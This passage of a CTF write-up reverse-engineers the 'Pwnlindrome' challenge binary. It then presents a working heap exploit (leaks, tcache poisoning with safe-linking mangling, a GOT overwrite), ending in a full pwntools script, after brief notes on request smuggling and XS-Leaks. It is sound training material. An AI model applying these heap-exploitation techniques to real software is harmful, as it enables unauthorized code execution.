  • Common request smuggling attacks: Earlier versions of ATS are vulnerable to CL–TE attacks and other tricks
  • Cache-poisoning: Request smuggling can be used to poison the cache. This means that when other users try to access a server resource, e.g. “/static/main.js”, they get a file you have control over instead, hence “poisoned” cache. However, this stack’s cache configuration doesn’t allow for this. This would be one way to bypass the CSP and leak the admin cookie.
  • XS-Leaks on Firefox: The entire XS-Leaks set up refused to work on my Firefox browser – the lazy-load images all loaded instantly and the scroll-to-text fragment didn’t work. I just gave up testing locally and just tested my exploit on the challenge server instead
  • Naming conventions: Notice that the final URL I sent to the bot is on “localhost”. Different parts of the stack require the URL to be in the form “http://chal010yo0os7fxmu2rhdrybsdiwsdqxgjdfuh.ctf.sg:23627”, others in the form “http://localhost:8000” and yet others “http://app:8000”.

Alright, back to pwning.

Level 6: Pwnlindrome

Category: Reverse engineering, Pwn

Description

PALINDROME’s recruitment operations has resumed once again.

One of our agents managed to obtain a copy of the .elf binary used in their recruitment operations. Will you be able to pass this test and get us further into their organization?

The time is ticking. Good luck!

To access server: nc chal010yo0os7fxmu2rhdrybsdiwsdqxgjdfuh.ctf.sg 64421 Attached files: pwnlindrome.elf

Preface

Finally, a challenge right up my alley! The final exploit builds on the usual concepts from heap exploitation in creative ways. I’ll first go through the reversing before looking at the actual exploits. Do first play around a little with the binary yourself. You can go straight to the exploit if you have already done the reversing. **This solution is unintended and just uses some heap manipulation without using stage 1 or 3.

Reversing

First, running the usual diagnostics:

1
2
3
4
5
6
7
8
9
10
$ file pwnlindrome-fresh 
pwnlindrome-fresh: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b7fdbec2cd351849de3bd47b952c531fd7f71bbb, for GNU/Linux 3.2.0, stripped

$ checksec --file=pwnlindrome-fresh
[*] '/home/kali/Desktop/tisc22/level6/clean/pwnlindrome-fresh'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Pretty standard set-up, with PIE enabled, dynamic linking and symbols stripped. Analysing the binary in Ghidra, we immediately see that it is a C++ binary – the decompilation has references to “operator<<”. Following the function call from the entry function, we arrive at a function representing the main menu. We can choose to access level 1, 2, or 3. I’ll only discuss reversing level 2 as that was the only part relevant to my exploit. I’ll save the discussion of level 1 and 3 to the end.

Upon choosing to access level 2, we get brought into the level2 function (0x5555555579ef, with Ghidra base address at 0x555555554000).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void level2(void) {
  undefined4 choice;
  basic_ostream *this;
  
  level2_mem_setup();
  level2_rootnode();
  level2_menu();
  do {
    std::operator<<((basic_ostream *)std::cout,"What would you like to do? ");
    choice = get_number?();
    std::basic_ostream<char,std::char_traits<char>>::operator<<
              ((basic_ostream<char,std::char_traits<char>> *)std::cout,
               std::endl<char,std::char_traits<char>>);
    switch(choice) {
    default:
      this = std::operator<<((basic_ostream *)std::cout,
                             "Invalid choice made. Please select a valid choice.");
      std::basic_ostream<char,std::char_traits<char>>::operator<<
                ((basic_ostream<char,std::char_traits<char>> *)this,
                 std::endl<char,std::char_traits<char>>);
      break;
    case 1:
      level2_addnode();
      break;
    case 2:
      level2_modifynode();
      break;
    case 3:
      level2_deletenode();
      break;
    case 4:
      level2_readbuffer();
      break;
    case 5:
      level2_menu();
      break;
    case 6:
      return;
    }
  } while( true );
}

The level2() function first calls level2_mem_setup() which creates a 0x10000 heap chunk lvl2_mem:

1
2
3
4
5
6
7
void level2_mem_setup(void) {
  lvl2_mem = malloc(0x10000);
  if (lvl2_mem != (void *)0x0) {
    memset(lvl2_mem,0,0x10000);
  }
  return;
}

As a precursor, I’ll first explain what level 2 does, before continuing with the source code. In level 2, we have the 4 usual operations (add, modify, delete, read) on nodes. The nodes are stored as part of a circular singly-linked list (where the last node points back to the first node). The program keeps track of the first node, also called the root node, with the rootnode pointer in the BSS. The node struct is as follows:

1
2
3
4
5
6
struct node {
    int length; // buffer length
    int smth_else; // unused
    long* mem_ptr; // points to the buffer in memory
    node* node_ptr; // points to next node in the linked list
}

When you create a node, you also give it a mem_ptr. This will point to somewhere in the previously allocated lvl2_mem chunk. In other words, every node’s data is stored somewhere in that huge chunk. As a heads-up, there are also some C++ functions that Ghidra fails to decompile accurately – the set_string? function just copies a buffer into a string and the get_number? function just reads a integer from stdin. Ok, back to the source code.

After allocating the lvl2_mem chunk, the function initializes the root node, then prints out the level 2 menu options. Here, we have 4 options: add node, modify node, delete node and read node.

1. Add node: We first select the length of the buffer the node corresponds to, to a maximum of 0x1000 bytes. Next, the program uses some math to figure out where to place the buffer in the lvl2_mem chunk. This is done by the get_node_offset() function. Depending on the size of the buffer, the buffer is grouped into small (< 0x10 bytes), medium (< 0x40 bytes), big (< 0x100), very big (< 0x400) or very very big (< 0x1000). Based on this classification and how many nodes of that size buffer already exist, the buffer is given an offset from the start of lvl2_mem to reside in. The space allocation within lvl2_mem roughly looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<contents>: <offset from the start of lvl2_mem>
rootnode content: 0x0

pointer to number of small-sized nodes (small count): 0x10
content of small-sized nodes: 0x20 - 0x160
--> small-sized node 1's contents: 0x20-0x30
--> small-sized node 2's contents: 0x30-0x40
--> small-sized node 3's contents: 0x40-0x50
...

pointer to number of med-sized nodes: 0x170
content of med-sized nodes: 0x180 - 0x680
--> med-sized node 1's contents: 0x180-0x1c0
...

pointer to number of big-sized nodes: 0x690
content of big-sized nodes: 0x6a0 - 0x1aa0

pointer to number of vbig-sized nodes: 0x1ab0
content of vbig-sized nodes: 0x1ac0 - 0x42c0

pointer to number of vvbig-sized nodes: 0x42d0
content of vvbig-sized nodes: 0x42e0 - 0xe2e0

The lvl2_addnode() function then takes in user input and memcpys it to the buffer with setup_node_buffer(). The node is inserted at the end of the linked list. Starting from the rootnode, a for loop iterates through the nodes until it finds the Node X that points to rootnode. Node X is the last node of the circular linked list, so the new node is inserted between Node X and rootnode. Every node is a 0x18 heap chunk:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
void level2_addnode(void) { // 0x5555555574c4
  int buffer_length;
  int offset;
  basic_ostream *pbVar1;
  basic_ostream<char,std::char_traits<char>> *this;
  node *new_node;
  node *moving_ptr;
  
  pbVar1 = std::operator<<((basic_ostream *)std::cout,"Add a node option has been chosen");
  this = (basic_ostream<char,std::char_traits<char>> *)
         std::basic_ostream<char,std::char_traits<char>>::operator<<
                   ((basic_ostream<char,std::char_traits<char>> *)pbVar1,
                    std::endl<char,std::char_traits<char>>);
  std::basic_ostream<char,std::char_traits<char>>::operator<<
            (this,std::endl<char,std::char_traits<char>>);
  std::operator<<((basic_ostream *)std::cout,
                  "Input the length (maximum: 0x1000) of the node\'s buffer: ");
  buffer_length = get_number?();
  if ((buffer_length < 1) || (0xfff < buffer_length)) {
    pbVar1 = std::operator<<((basic_ostream *)std::cout,
                             "The given length exceeds the maximum length allowed.");
    std::basic_ostream<char,std::char_traits<char>>::operator<<
              ((basic_ostream<char,std::char_traits<char>> *)pbVar1,
               std::endl<char,std::char_traits<char>>);
    pbVar1 = std::operator<<((basic_ostream *)std::cout,"Returning to level 2 menu.");
    std::basic_ostream<char,std::char_traits<char>>::operator<<
              ((basic_ostream<char,std::char_traits<char>> *)pbVar1,
               std::endl<char,std::char_traits<char>>);
  }
  else {
    offset = get_node_offset(buffer_length,1);
    if (offset == 0) {
      pbVar1 = std::operator<<((basic_ostream *)std::cout,"Returning to level 2 menu.");
      std::basic_ostream<char,std::char_traits<char>>::operator<<
                ((basic_ostream<char,std::char_traits<char>> *)pbVar1,
                 std::endl<char,std::char_traits<char>>);
    }
    else {
      new_node = (node *)malloc(0x18);
      new_node->length = buffer_length;
      new_node->smth_else = 0;
      new_node->mem_ptr = (long *)(lvl2_mem + offset);
      moving_ptr = rootnode;
      if (number_of_nodes == 0) {
        rootnode->node_ptr = new_node;
      }
      else {
        for (; moving_ptr->node_ptr != rootnode; moving_ptr = moving_ptr->node_ptr) {
        }
        moving_ptr->node_ptr = new_node;
      }
      new_node->node_ptr = rootnode;
      number_of_nodes = number_of_nodes + 1;
      setup_node_buffer(new_node->mem_ptr,buffer_length);
      std::basic_ostream<char,std::char_traits<char>>::operator<<
                ((basic_ostream<char,std::char_traits<char>> *)std::cout,
                 std::endl<char,std::char_traits<char>>);
    }
  }
  return;
}

2. Modify node: We can choose which node we want to modify in the linked list. The choice of node we input must be less than the length of the entire linked list, and we also cannot modify the rootnode, i.e. index 0. Modifying it entails changing its buffer length and updating the contents of the buffer.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void level2_modifynode(void) { // 0x5555555576c0
  int buffer_length;
  basic_ostream *this;
  basic_ostream<char,std::char_traits<char>> *this_00;
  node *desired_node;
  
  this = std::operator<<((basic_ostream *)std::cout,"Modify a node option has been chosen");
  this_00 = (basic_ostream<char,std::char_traits<char>> *)
            std::basic_ostream<char,std::char_traits<char>>::operator<<
                      ((basic_ostream<char,std::char_traits<char>> *)this,
                       std::endl<char,std::char_traits<char>>);
  std::basic_ostream<char,std::char_traits<char>>::operator<<
            (this_00,std::endl<char,std::char_traits<char>>);
  desired_node = (node *)get_nth_node();
  if (desired_node != (node *)0x0) {
    std::operator<<((basic_ostream *)std::cout,
                    "Input the length (maximum: 0x1000) of the node\'s buffer: ");
    buffer_length = get_number?();
    if ((0 < buffer_length) && (buffer_length < 0x1000)) {
      desired_node->length = buffer_length;
      setup_node_buffer(desired_node->mem_ptr,buffer_length);
    }
    std::basic_ostream<char,std::char_traits<char>>::operator<<
              ((basic_ostream<char,std::char_traits<char>> *)std::cout,
               std::endl<char,std::char_traits<char>>);
  }
  return;
}

3. Delete node: We can delete only the latest node, i.e. the node we most recently added to the list. This updates the count of how many such-sized nodes there are. The function also gets its offset from the start of lvl2_mem by calling get_node_offset() like before. It zeroes out that section of lvl2_mem and finally, frees the 0x18 chunk corresponding to the node.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void level2_deletenode(void) { //0x555555557781
  int last_node_offset;
  basic_ostream *this;
  basic_ostream<char,std::char_traits<char>> *this_00;
  node *secondtolast_node;
  node *moving_ptr;
  int buffer_length;
  
  this = std::operator<<((basic_ostream *)std::cout,"Delete latest node option has been chosen");
  this_00 = (basic_ostream<char,std::char_traits<char>> *)
            std::basic_ostream<char,std::char_traits<char>>::operator<<
                      ((basic_ostream<char,std::char_traits<char>> *)this,
                       std::endl<char,std::char_traits<char>>);
  std::basic_ostream<char,std::char_traits<char>>::operator<<
            (this_00,std::endl<char,std::char_traits<char>>);
  for (moving_ptr = rootnode; moving_ptr->node_ptr != rootnode; moving_ptr = moving_ptr->node_ptr) {
    secondtolast_node = moving_ptr;
  }
  buffer_length = moving_ptr->length;
  update_node_count(buffer_length);
  last_node_offset = get_node_offset(buffer_length,0);
  memset((void *)(lvl2_mem + last_node_offset),0,(long)buffer_length);
  secondtolast_node->node_ptr = rootnode;
  number_of_nodes = number_of_nodes + -1;
  free(moving_ptr);
  std::basic_ostream<char,std::char_traits<char>>::operator<<
            ((basic_ostream<char,std::char_traits<char>> *)std::cout,
             std::endl<char,std::char_traits<char>>);
  return;
}

4. Read node/Read buffer: This function allows us to read the contents of a node’s buffer. Once again, the choice of node we input must be less than the length of the entire linked list, and we also cannot modify the rootnode, i.e. index 0.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void level2_readbuffer(void) { // 0x55555555790f
  basic_ostream *pbVar1;
  basic_ostream<char,std::char_traits<char>> *pbVar2;
  node *desired_node;
  
  pbVar1 = std::operator<<((basic_ostream *)std::cout,
                           "Reading a node\'s buffer option has been chosen");
  pbVar2 = (basic_ostream<char,std::char_traits<char>> *)
           std::basic_ostream<char,std::char_traits<char>>::operator<<
                     ((basic_ostream<char,std::char_traits<char>> *)pbVar1,
                      std::endl<char,std::char_traits<char>>);
  std::basic_ostream<char,std::char_traits<char>>::operator<<
            (pbVar2,std::endl<char,std::char_traits<char>>);
  desired_node = (node *)get_nth_node();
  if (desired_node != (node *)0x0) {
    pbVar1 = std::operator<<((basic_ostream *)std::cout,"Here comes the buffer!");
    pbVar2 = (basic_ostream<char,std::char_traits<char>> *)
             std::basic_ostream<char,std::char_traits<char>>::operator<<
                       ((basic_ostream<char,std::char_traits<char>> *)pbVar1,
                        std::endl<char,std::char_traits<char>>);
    std::basic_ostream<char,std::char_traits<char>>::operator<<
              (pbVar2,std::endl<char,std::char_traits<char>>);
    pbVar1 = std::operator<<((basic_ostream *)std::cout,(char *)desired_node->mem_ptr);
    std::basic_ostream<char,std::char_traits<char>>::operator<<
              ((basic_ostream<char,std::char_traits<char>> *)pbVar1,
               std::endl<char,std::char_traits<char>>);
    std::basic_ostream<char,std::char_traits<char>>::operator<<
              ((basic_ostream<char,std::char_traits<char>> *)std::cout,
               std::endl<char,std::char_traits<char>>);
  }
  return;
}

Finally, we have the win function at 0x555555557e40, which reads the contents of “4287e796e9e09f36c2d1a2dd460c0716af4bdac6.txt”, which presumably contains the flag. I highly recommend trying to reverse the binary yourself or to walk through the attached Ghidra project to get a better understanding as I didn’t detail all the checks in place.

Exploit

  1. Leaking program base
  2. Leaking heap base
  3. Forging tcache chunks
  4. Getting the flag (locally)
  5. Debug and fuzz
  6. Getting the flag

Leaking program base

Recall the structure of lvl2_mem:

1
2
3
4
5
6
7
8
9
...
content of small-sized nodes: 0x20 - 0x160
--> small-sized node 1's contents: 0x20-0x30
--> small-sized node 2's contents: 0x30-0x40
--> small-sized node 3's contents: 0x40-0x50
...

pointer to number of med-sized nodes: 0x170
...

The pointer to number of med-sized nodes, is a pointer into BSS (0x55555555c41c). This is adjacent to the contents of our small nodes. Note that we have to create at least one med-sized node before the program writes the pointer to inside lvl2_mem. If we write content up until the offset 0x170, reading the buffer will also leak the pointer. To achieve this, we abuse a lack of checks in level2_modifynode(). After updating the node’s buffer length, the program does not update the node’s pointer to the buffer. So, we can create a small-sized node, modify its length to a large-sized node and still write in the same location (when large-sized nodes typically occupy a different area of lvl2_mem). Here’s the exploit (the entire code will be at the end):

1
2
3
4
5
6
7
8
add(0x30, b"A")  # create med-sized node first
delete()

add(5, b"A")
modify(1, 0x150, b"A"*0x150)
leak = read(1)
leak = leak[leak.find(b"AAAA")+0x150:]
leak = u64(leak[:6].ljust(8, b"\0"))

Using this leak of a BSS address, we can partially bypass PIE and calculate addresses for the GOT and the .text section (where the win function is).

Leaking heap base

Because of PIE, there is a variable offset between the BSS and the heap section, so we will need to leak a heap address separately. To achieve this, we will exploit a flaw in the program’s logic in deleting nodes.

First, notice that the properties of the node struct line up with the properties of a tcache chunk, specifically node->mem_ptr lines up with tcache_entry->key.

1
2
3
4
5
6
7
8
9
10
11
struct node {
    int length; // buffer length
    int smth_else; // unused
    long* mem_ptr; // points to the buffer in memory
    node* node_ptr; // points to next node in the linked list
}

typedef struct tcache_entry {
  struct tcache_entry *next;
  struct tcache_perthread_struct *key;
}

This key is used in libc >= 2.29 as a check for double frees. When a chunk is freed, its key is set to tcache_perthread_struct, which is the first malloc chunk in the heap. This means that if we can use a node after freeing it, accessing its mem_ptr would allow us to write to somewhere else in the heap. In fact, tcache_perthread_struct is a pretty useful place as it contains pointers to the heads of each tcache bin (i.e. a heap address). This is what we will be using to leak a heap address.

However, we still need to get our UAF. Typically, to free a node, we would need to delete it, which means we can no longer access it. Instead we obtain our UAF via deleting the root node. Trying to just delete the root node will trigger a SIGSEGV, so we will need a different way. By adding a Node X, deleting Node X, then deleting rootnode, we manage to free rootnode:

1
2
3
add(3, b"C")
delete()
delete()  # delete root node

There are two ways to find this: static analysis & playing around with the program. I found it via the latter way, but I’ll explain how you could have found it via static analysis. First, let’s try to understand why the program SIGSEGVs when just trying to delete the root node. Looking at the code for level2_deletenode(), there are no checks for whether the latest node is the root node.

1
2
3
4
5
6
7
8
9
10
11
12
13
  node *secondtolast_node;
  node *moving_ptr;
...
  for (moving_ptr = rootnode; moving_ptr->node_ptr != rootnode; moving_ptr = moving_ptr->node_ptr) {
    secondtolast_node = moving_ptr;
  }
  buffer_length = moving_ptr->length;
  update_node_count(buffer_length);
  last_node_offset = get_node_offset(buffer_length,0);
  memset((void *)(lvl2_mem + last_node_offset),0,(long)buffer_length);
  secondtolast_node->node_ptr = rootnode;
  number_of_nodes = number_of_nodes + -1;
  free(moving_ptr);

The program traverses through the linked list until it reaches the last node in the list, which should point back to the root node. When we try to delete the root node without having first added any other nodes, the list consists only of rootnode, with its next pointer pointing to garbage. When the for loop tries to read the memory at that garbage location, a SIGSEGV is thrown. Instead, let’s see what happens when we add then delete a Node X first. First, rootnode->node_ptr=NodeX and NodeX->node_ptr = rootnode. When we delete the latest node, i.e. Node X, the second last node has its node_ptr updated to Node X’s node_ptr. In this case, the second last node is rootnode, and Node X’s node_ptr is also rootnode. This now means that rootnode->node_ptr = rootnode!

Now, let’s see if we’ll get a SIGSEGV if we try to delete rootnode. Firstly, the for loop doesn’t try to read garbage memory as it terminates instantly by meeting the condition moving_ptr = rootnode; moving_ptr->node_ptr == rootnode. However, it seems that we should get a SIGSEGV when we try updating secondtolast_node->node_ptr = rootnode since secondtolast_node was not initialized in the for loop. The reason why we don’t get a SIGSEGV is because secondtolast_node is not assigned a value anywhere in the function, except in the for loop. If we don’t run through the for loop, secondtolast_node simply takes on whatever value was on the stack at that point. Since we call the two delete functions consecutively, the stack frame is preserved, meaning that the value of secondtolast_node in this run of the delete function is the same as its value in the previous run. And previously, its value was rootnode, a valid pointer!

I didn’t come up with this thought process when reading through the code initially. Instead, I found the exploit just by playing with the program. In fact, I think this thought process would have been very difficult to come up with just by looking at the code, but it is worthwhile exploring now having completed the challenge. Anyway, looking at rootnode and tcache_perthread_struct in gef:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
gef➤  x/4gx 0x55555556f070
0x55555556f070: 0x00005550000d4d8f      0x000055555555d010
0x55555556f080: 0x000055555556f070      0x0000000000000411
gef➤  x/20gx 0x000055555555d010
0x55555555d010: 0x0000000000000002      0x0000000000000000
0x55555555d020: 0x0000000000000000      0x0000000000000000
0x55555555d030: 0x0000000000000000      0x0000000000000000
0x55555555d040: 0x0000000000000000      0x0000000000000000
0x55555555d050: 0x0000000000000000      0x0000000000000000
0x55555555d060: 0x0000000000000000      0x0000000000000000
0x55555555d070: 0x0000000000000000      0x0000000000000000
0x55555555d080: 0x0000000000000000      0x0000000000000000
0x55555555d090: 0x000055555556f070      0x0000000000000000
0x55555555d0a0: 0x0000000000000000      0x0000000000000000

We see that a. the key/mem_ptr of rootnode now points to tcache_perthread_struct and b. tcache_perthread_struct contains a tcache bin of length 2, with its head (latest chunk) at 0x000055555556f070, i.e. rootnode. The tcache bin has 2 chunks because we had previously freed the Node X we added too.

Now, we can adopt a similar strategy to how we leaked the program base, to leak the heap address. We can write in the buffer till 0x55555555d090, the read the buffer, leaking the heap address 0x000055555556f070. Typically, both modifynode and readnode use the get_nth_node function, which only accepts an input between 1 and the total number of nodes, which is why we cannot access the rootnode at index 0. However, deleting rootnode has triggered an integer underflow on the total number of nodes, which is a unsigned integer.

1
2
3
4
Modify a node option has been chosen

Please select the node's index (from 1 to 4294967295)
Input the node's index:

Great! The get_nth_node function essentially traverses through nodes’ node_ptr n times to get to the nth node. So, we can access the rootnode by passing in any index, since our list is comprised of just rootnode pointing back to itself. Here’s the entire heap leak code:

1
2
3
4
5
6
7
8
add(3, b"C")
delete()
delete()  # delete root node

modify(1, 16*0x8, b"A"*16*0x8)
heap_leak = read(1)
heap_leak = heap_leak[heap_leak.find(b"AAAA")+16*0x8:]
heap_leak = u64(heap_leak[:6].ljust(8, b"\0"))

Forging tcache chunks

So, we now have two leaks but still no way to utilise them. Since we now can write into tcache_perthread_struct, the most logical exploit is to poison tcache and gain arbitrary write. Let’s look at the contents of tcache_perthread_struct again, keeping in mind that we can write to anywhere in the chunk:

1
2
3
4
5
6
7
8
9
10
11
gef➤  x/20gx 0x000055555555d010
0x55555555d010: 0x0000000000000002      0x0000000000000000
0x55555555d020: 0x0000000000000000      0x0000000000000000
0x55555555d030: 0x0000000000000000      0x0000000000000000
0x55555555d040: 0x0000000000000000      0x0000000000000000
0x55555555d050: 0x0000000000000000      0x0000000000000000
0x55555555d060: 0x0000000000000000      0x0000000000000000
0x55555555d070: 0x0000000000000000      0x0000000000000000
0x55555555d080: 0x0000000000000000      0x0000000000000000
0x55555555d090: 0x000055555556f070      0x0000000000000000
0x55555555d0a0: 0x0000000000000000      0x0000000000000000

The address to the latest tcache chunk stored in the tcache 0x20 bin, is located in tcache_perthread_struct. The 0x18 node chunks are served by this bin, so if we overwrite the pointer, we can obtain a node in an arbitrary location. For example, with this code:

1
2
payload = p64(0x1) + p64(0x0) * 15 + p64(0xdeadbeef)
modify(1, 0x200, payload)

Our tcache bins look like this:

1
2
3
gef➤  heap bins
─────────────────── Tcachebins for thread 1 ──────────────────
Tcachebins[idx=0, size=0x20] count=1  ←  Chunk(addr=0xdeadbeef, size=0x20, flags=PREV_INUSE)

However, even after obtaining that node, we don’t get arbitrary write. Looking at the code in level2_addnode():

1
2
3
4
5
6
7
8
  new_node = (node *)malloc(0x18);
  new_node->length = buffer_length;
  new_node->smth_else = 0;
  new_node->mem_ptr = (long *)(lvl2_mem + offset);
...
  new_node->node_ptr = rootnode;
  number_of_nodes = number_of_nodes + 1;
  setup_node_buffer(new_node->mem_ptr,buffer_length)

We don’t get to write anything of our choosing in the 0x18 tcache chunk. All we can write is in the lvl2_mem chunk. At this point, I was thinking of doing a GOT overwrite to the win function, so I needed an arbitrary write. The trick here is realising that we need to allocate the node somewhere we can later overwrite its mem_ptr in, to get arbitrary write.

One place we definitely have write access to is the lvl2_mem chunk. If we allocate a node inside lvl2_mem by poisoning tcache, we can modify the node’s mem_ptr via creating more nodes and writing content in lvl2_mem. For example, recall that the first big-sized node is at offset 0x6a0 in lvl2_mem. We can poison tcache to give us a 0x18 node chunk at the address lvl2_mem+0x6a0. Then, when we add our first big node, modifying its contents would modify the properties of the poisoned node, including its mem_ptr. Finally, when we try to modify the poisoned node’s contents, it would give us arbitrary write at the location of its mem_ptr.

1
2
3
4
5
6
7
8
9
add(3, b"C")
delete()
delete()  # delete root node

payload = p64(0x1) + p64(0x0) * 15 + p64(lvl2_mem + 0x6a0)
modify(1, 0x200, payload)

add(0xf, b"BBBB")  # this is the poisoned node, located at lvl2_mem + 0x6a0
add((0x100 - 1), p64(0x0) + p64(got_address))  # this is a big node, which has its mem_ptr pointing to lvl2_mem + 0x6a0

This will overwrite our poisoned node’s mem_ptr to point to a got_address. Modifying the poisoned node would now allow us to overwrite GOT to our win function. However, this won’t work. Remember the integer underflow when we deleted rootnode? Well, the poisoned node now corresponds to index 0, and the latest node index 1. Once again, we cannot modify the node at index 0 as it is not allowed by get_nth_node(). Instead, what we want is for our poisoned node to not be the first node added after deleting the root node. To do this, we can forge two tcache 0x20 chunks, with the second being our poisoned node. So, only the second node added will correspond to the poisoned node. We can set up the forged chunks in tcache_perthread_struct too. Ideally, tcache_perthread_struct would look like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gef➤  x/20gx 0x000055555555d010
0x55555555d010: 0x0000000000000002      0x0000000000000000
0x55555555d020: 0x0000000000000000      0x0000000000000000
0x55555555d030: 0x0000000000000000      0x0000000000000000
0x55555555d040: 0x0000000000000000      0x0000000000000000
0x55555555d050: 0x0000000000000000      0x0000000000000000
0x55555555d060: 0x0000000000000000      0x0000000000000000
0x55555555d070: 0x0000000000000000      0x0000000000000000
0x55555555d080: 0x0000000000000000      0x0000000000000000
0x55555555d090: 0x000055555555d0b0      0x0000000000000000
0x55555555d0a0: 0x0000000000000000      0x0000000000000021
0x55555555d0b0: 0x00000000d00fd00f      0x0000000000000000
0x55555555d0c0: 0x0000000000000000      0x0000000000000000
0x55555555d0d0: 0x0000000000000000      0x0000000000000000
0x55555555d0e0: 0x0000000000000000      0x0000000000000000

This will register 2 chunks in the tcache bin of size 0x20. The first (latest) chunk will be at 0x000055555555d0b0, which will be the following chunk (also stored in tcache_perthread_struct for convenience)

1
2
3
0x55555555d0a0: 0x0000000000000000 <- size of previous chunk      0x0000000000000021 <- size of current chunk (P bit set)
0x55555555d0b0: 0x00000000d00fd00f <- fd ptr to next chunk        0x0000000000000000
0x55555555d0c0: 0x0000000000000000                                0x0000000000000000

Here, 0xd00fd00f will be replaced with the pointer to inside lvl2_mem. To recap, this should give us an arbitrary write as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
add(3, b"C")
delete()
delete()  # delete root node

# tcache_where is 0x55555555d0b0, inside_mem_where is somewhere in lvl2_mem
fake_chunk_hdr = p64(0x0) + p64(0x21)
fake_node = p64(mangle(tcache_where, inside_mem_where)) + p64(0x0) * 3  # mangle function discussed later!
fake_chunk = fake_chunk_hdr + fake_node
payload = p64(0x2) + p64(0x0) * 15 + p64(tcache_where) + p64(0x0) + fake_chunk

modify(1, 0x200, payload)

add(0xf, b"AAAA")  # this is the padding node (index 0)
add(0xf, b"BBBB")  # this is the poisoned node, located at lvl2_mem + 0x6a0 (index 1)
add((0x100 - 1), p64(0x0) + p64(got_address))  # this is a big node, which has its mem_ptr pointing to lvl2_mem + 0x6a0
# now, our poisoned node's mem_ptr points to got_address
modify(1, p64(win_function))  # this writes win_function to got_address

One last thing – I was running my exploit locally on libc 2.33. Libc 2.32 introduced safe-linking, which essentially “encrypts” the fd pointer of chunks. Looking at the chunk above, instead of 0xd00fd00f being stored as the fd pointer, 0x5855a8552 is stored instead. The encryption function depends on the fd pointer, in this case 0xd00fd00f, and the location of the fd pointer, 0x55555555d0b0 here.

1
2
3
4
5
6
7
def mangle(location, ptr):
    L = location
    P = ptr
    New_Ptr = (L >> 12) ^ P
    return New_Ptr

assert 0x5855a8552 == mangle(0x55555555d0b0, 0xd00fd00f)

Getting the flag (locally)

We have everything set to get the flag… locally. Remember to create a file “4287e796e9e09f36c2d1a2dd460c0716af4bdac6.txt” with a sample flag in the same directory first.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
context.log_level = "debug"

p = process("./pwnlindrome-fresh")

def sla(a, b):
    p.sendlineafter(a, b)

opt = lambda o: sla(b"Enter your option:", str(o).encode("ascii"))
l = lambda i: log.info(i)

# Lvl 2 exploit
opt(2)

def mangle(location, ptr):
    L = location
    P = ptr
    New_Ptr = (L >> 12) ^ P
    # return ptr
    return New_Ptr

def add(length, content):
    sla(b"would you like to do?", b"1")
    sla(b"Input the length (maximum: 0x1000) of the node's buffer:", str(length).encode("ascii"))
    sla(b"Input the string you would like to allocate in this node:", content)

def modify(index, length, content):
    sla(b"would you like to do?", b"2")
    sla(b"Input the node's index:", str(index).encode("ascii"))
    sla(b"Input the length (maximum: 0x1000) of the node's buffer:", str(length).encode("ascii"))
    sla(b"Input the string you would like to allocate in this node:", content)

def delete():
    sla(b"would you like to do?", b"3")
    
def read(index):
    sla(b"would you like to do?", b"4")
    sla(b"Input the node's index:", str(index).encode("ascii"))
    p.recvuntil(b"Here comes the buffer!")
    res = p.recvuntil(b"What").replace(b"What", b"")
    return res

def back():
    sla(b"would you like to do?", b"6")

add(0x30, b"A")  # create med-sized node first
delete()

add(5, b"A")
modify(1, 0x150, b"A"*0x150)
leak = read(1)
leak = leak[leak.find(b"AAAA")+0x150:]
leak = u64(leak[:6].ljust(8, b"\0"))
delete()

base = leak - 0x55555555c41c
srand_got = base + 0x55555555c0c8
win = base + 0x555555557e40

add(3, b"C")
delete()
delete()  # delete root node

modify(1, 16*0x8, b"A"*16*0x8)
heap_leak = read(1)
heap_leak = heap_leak[heap_leak.find(b"AAAA")+16*0x8:]
heap_leak = u64(heap_leak[:6].ljust(8, b"\0"))

heap_base = heap_leak - 0x564144ba3070
tcache_where = heap_base + 0x564144b91090 + 0x20
inside_mem_where = heap_leak - 0x5599e05e9070 + 0x5599e05ec4d0 + 6 * 0x40

# Next, poison tcache
fake_chunk_hdr = p64(0x0) + p64(0x21)
fake_node = p64(mangle(tcache_where, inside_mem_where)) + p64(0x0) * 3
fake_chunk = fake_chunk_hdr + fake_node
payload = p64(0x2) + p64(0x0) * 15 + p64(tcache_where) + p64(0x0) + fake_chunk
modify(1, 0x200, payload)

add((0x1000-1), b"C")  # this is the padding node (index 0)
add(0x2, b"D")  # this is the poisoned node, located at lvl2_mem + 0x6a0 (index 1)

payload = p64(srand_got) * 7
add((0x40-1), payload)  # this is a big node, which has its mem_ptr pointing to lvl2_mem + 0x6a0
# now, our poisoned node's mem_ptr points to srand_got

# modify the text pointed at by the poisoned node
modify(1, 0x8, p64(win))

# trigger call to srand, which now points to win function
back()
opt(1)
p.sendline(b"1")  # srand is called in level1

p.interactive()

There is a little bit of instability in the exploit. When the leaked addresses contain a string terminating character, the entire address is not leaked, causing the exploit to fail. Re-run the exploit if this is the case.

